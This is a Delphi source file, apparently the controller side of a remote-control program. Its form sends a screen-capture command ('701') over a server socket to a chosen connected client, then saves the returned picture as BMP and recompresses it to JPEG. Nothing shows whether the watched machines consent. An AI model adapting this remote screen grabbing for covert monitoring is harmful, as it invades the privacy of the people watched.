📄 unit2.~pas
字号:
unit Unit2;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
JPEG,Dialogs, StdCtrls, ExtCtrls, ComCtrls, Buttons;
type
TForm2 = class(TForm)
img: TImage;
Panel1: TPanel;
Button1: TButton;
BitBtn9: TBitBtn;
procedure Button1Click(Sender: TObject);
procedure BitBtn9Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
implementation
uses Unit1;
{$R *.dfm}
procedure TForm2.Button1Click(Sender: TObject);
begin//抓图
try
form1.ss.Socket.Connections[strtoint(form1.sb.Panels.Items[1].Text)].SendText('701'+form1.imge.Text);
form1.sb.Panels.Items[2].Text:='B';
BitBtn9.Enabled :=true;
except
application.MessageBox('连接断开','提示' );
form1.mainpc.Enabled :=false;
end;
end;
procedure TForm2.BitBtn9Click(Sender: TObject);
var bmpnam:string;
MyJPEG : TJPEGImage;
MyBMP : TBitmap;
begin//图片保存
bmpnam:=InputBox('保存图片','请输入保存的文件名: ','');
if bmpnam='' then
begin
application.MessageBox('你未输入文件名!','提示');
exit;
end;
bmpnam:=UPPERCASE(bmpnam);
if pos('.BMP',bmpnam)=0 then bmpnam:=bmpnam+'.BMP';
if fileexists(bmpnam) then
if application.MessageBox('这个文件已经存在,是否覆盖?','提示',mb_yesno)=idno then exit;
img.Picture.SaveToFile(bmpnam);
application.MessageBox('图片保存完毕!','恭喜');
MyBMP := TBitmap.Create;
MyJPEG:= TJpegimage.Create;
MyBMP.LoadFromFile(bmpnam);
MyJPEG.Assign(MyBMP);
MyJPEG.CompressionQuality:=STRTOINT(form1.imge.Text );
MyJPEG.SaveToFile(bmpnam);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -